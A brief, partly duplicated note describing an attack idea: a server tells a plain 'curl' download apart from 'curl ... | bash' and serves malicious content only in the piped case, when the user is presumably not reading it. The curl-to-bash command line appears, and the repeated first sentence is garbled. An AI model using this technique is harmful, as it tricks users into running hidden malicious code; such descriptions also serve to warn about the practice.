The idea is to distinguish between "curl http://x" http://x" and "curl http://x http://x | bash", in order to only give malicious content when the user pipes it

The idea is to distinguish between "curl http://x" http://x" and "curl http://x http://x | bash", in order to only give malicious content when the user pipes it straight to bash (presumably they aren't looking at the content in this case).